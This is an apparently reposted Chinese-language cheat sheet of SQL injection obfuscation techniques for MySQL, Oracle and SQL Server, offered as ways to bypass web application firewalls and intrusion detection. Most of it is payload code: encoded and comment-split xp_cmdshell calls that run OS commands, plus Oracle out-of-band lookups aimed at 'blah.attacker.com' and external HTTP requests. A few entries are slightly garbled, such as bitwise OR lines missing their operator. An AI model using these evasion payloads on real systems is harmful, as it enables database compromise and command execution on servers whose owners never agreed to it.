sql注入混淆

Posted MuRKuo

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入混淆相关的知识,希望对你有一定的参考价值。

混淆查询 {docsify-ignore-all}

混淆查询帮助绕过Web应用程序防火墙(WAF)和入侵检测/预防系统(IDS / IPS)。以下是基本查询混淆的示例,它们在应用于某些注入之前可能需要进行修改。

mysql

描述 语句
ASCII>字符 SELECT char(65)
字符> ASCII SELECT ascii(\'A\')
十六进制 SELECT 0x4A414B45
Hex> Int SELECT 0x20 + 0x40
按位与 SELECT 6 & 2
按位或 SELECT 6
按位否定 SELECT ~6
按位XOR SELECT 6 ^ 2
右移 SELECT 6>>2
左移 SELECT 6<<2
字符串截取 SELECT substr(\'abcd\', 3, 2)
substr(string, index, length)
Casting SELECT cast(\'1\' AS unsigned integer)
SELECT cast(\'123\' AS char)
字符串连接 SELECT concat(\'net\',\'spi\')
SELECT \'n\' \'et\' \'spi\'
无引号 SELECT CONCAT(CHAR(74),CHAR(65),CHAR(75),CHAR(69))
块注释 SELECT/*block
comment*/"test"
单行注释 SELECT 1 -- comments out rest of line
SELECT 1 # comments out rest of line
无空格 SELECT(username)FROM(USERS)WHERE(username=\'netspi\')
允许空白 09, 0A, 0B, 0C, 0D, A0, 20
URL 编码 SELECT%20%2A%20FROM%20USERS
双URL编码 SELECT%2520%2A%2520FROM%2520USERS
无效百分号编码 %SEL%ECT * F%R%OM U%S%ERS

进一步阅读请点击这里

Oracle

描述 语句
ASCII>字符 SELECT char(65) from dual
字符> ASCII SELECT ascii(\'A\') from dual
按位AND SELECT 6 & 2 from dual
按位或 SELECT 6 from dual
按位否定 SELECT ~6 from dual
按位XOR SELECT 6 ^ 2 from dual
选择第N个字符 SELECT substr(\'abcd\', 3, 1) FROM dual; -- Returns 3rd charcter, \'c\'
字符串截取 SELECT substr(\'abcd\', 3, 2) from dual
substr(string, index, length)
Cast select CAST(12 AS CHAR(32)) from dual
字符串连接 SELECT concat(\'net\',\'spi\') from dual
注释 SELECT 1 FROM dual -- comment
If 语句 BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF;
Case 语句 SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; -- Returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; -- Returns 2
时间延迟 BEGIN DBMS_LOCK.SLEEP(5); END; (Requires Privileges)
SELECT UTL_INADDR.get_host_name(\'10.0.0.1\') FROM dual;
SELECT UTL_INADDR.get_host_address(\'blah.attacker.com\') FROM dual;
SELECT UTL_HTTP.REQUEST(\'http://google.com\') FROM dual;
选择第n行 SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; -- Returns 9th row
按位与 SELECT bitand(6,2) FROM dual; -- Returns 2
SELECT bitand(6,1) FROM dual; -- Returns 0
字符串连接 SELECT \'A\' || \'B\' FROM dual; -- Returns AB
避免引号 SELECT chr(65) || chr(66) FROM dual; -- Returns AB
16进制编码 SELECT 0x75736572 FROM dual;

SQL Server

描述 语句
ASCII>字符 SELECT char(65)
字符> ASCII SELECT ascii(\'A\')
Hex> Int SELECT 0x20 + 0x40
按位AND SELECT 6 & 2
按位或 SELECT 6
按位否定 SELECT ~6
按位XOR SELECT 6 ^ 2
字符串截取 SELECT substring(\'abcd\', 3, 2)
substring(string, index, length)
Casting SELECT cast(\'1\' AS unsigned integer)
SELECT cast(\'123\' AS char)
字符串连接 SELECT concat(\'net\',\'spi\')
注释 SELECT 1 --comment
SELECT/*comment*/1
避免引号 SELECT char(65)+char(66) -- returns AB
使用%0d避免使用分号 %0dwaitfor+delay+\'0:0:10\'--
Bypass Filtering EXEC xP_cMdsheLL \'dir\';
用注释避免空格 EXEC/**/xp_cmdshell/**/\'dir\';-- \';ex/**/ec xp_cmds/**/hell \'dir\';
用连接避免查询检测 DECLARE @cmd as varchar(3000);
SET @cmd = \'x\'+\'p\'+\'_\'+\'c\'+\'m\'+\'d\'+\'s\'+\'h\'+\'e\'+\'l\'+\'l\'+\'/**/\'+""+\'d\'+\'i\'+\'r\'+"";
exec(@cmd);
用字符编码避免查询检测 DECLARE @cmd as varchar(3000);
SET @cmd =(CHAR(101)+CHAR(120)+CHAR(101)+CHAR(99)+CHAR(32)+
CHAR(109)+CHAR(97)+CHAR(115)+CHAR(116)
+CHAR(101)+CHAR(114)+CHAR(46)+CHAR(46)+CHAR(120)+
CHAR(112)+CHAR(95)+CHAR(99)+CHAR(109)+
CHAR(100)+CHAR(115)+CHAR(104)+CHAR(101)+CHAR(108)+CHAR(108)+CHAR(32)+
CHAR(39)+CHAR(100)+CHAR(105)+CHAR(114)+CHAR(39)+CHAR(59));
EXEC(@cmd);
用base64编码避免查询检测 DECLARE @data varchar(max), @XmlData xml;SET @data = \'ZXhlYyBtYXN0ZXIuLnhwX2NtZHNoZWxsICdkaXIn\';
SET @XmlData = CAST(\'\' + @data + \'\' as xml);SET @data = CONVERT(varchar(max), @XmlData.value(\'(data)[1]\', \'varbinary(max)\'));
exec (@data);
用Nchar编码避免查询检测 DECLARE @cmd as nvarchar(3000);
SET @cmd =(nchar(101)+nchar(120)+nchar(101)+nchar(99)+
nchar(32)+nchar(109)+nchar(97)+nchar(115)+nchar(116)+
nchar(101)+nchar(114)+nchar(46)+nchar(46)+
nchar(120)+nchar(112)+nchar(95)+nchar(99)+nchar(109)
+nchar(100)+nchar(115)+nchar(104)+
nchar(101)+nchar(108)+nchar(108)+nchar(32)+nchar(39)+nchar(100)
+nchar(105)+nchar(114)+nchar(39)+nchar(59));
EXEC(@cmd);
用ASCII + CAST 编码避免查询检测 DECLARE @cmd as varchar(MAX);
SET @cmd = cast(0x78705F636D647368656C6C202764697227 as varchar(MAX));
exec(@cmd);
用ASCII + CONVERT 编码避免查询检测 DECLARE @cmd as varchar(MAX);
SET @cmd = convert(varchar(MAX),0x78705F636D647368656C6C202764697227);
exec(@cmd);
用varbinary(MAX) 避免查询检测 DECLARE @cmd as varchar(MAX);
SET @cmd = convert(varchar(0),0x78705F636D647368656C6C202764697227);
exec(@cmd);
用 sp_sqlexec 避免 EXEC() DECLARE @cmd as varchar(3000);
SET @cmd = convert(varchar(0),0×78705F636D647368656C6C202764697227);
exec sp_sqlexec @cmd;
执行 xp_cmdshell \'dir\' DECLARE @tmp as varchar(MAX);
SET @tmp = char(88)+char(80)+char(95)+char(67)+char(77)+
char(68)+char(83)+char(72)+char(69)+char(76)+char(76);
exec @tmp \'dir\';

以上是关于sql注入混淆的主要内容,如果未能解决你的问题,请参考以下文章

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

高级SQL注入:混淆和绕过

SQL注入-预防

append() 在这个代码片段中是如何工作的?与特定变量混淆[重复]

MyBatis如何防止SQL注入

XSS过滤JAVA过滤器filter 防止常见SQL注入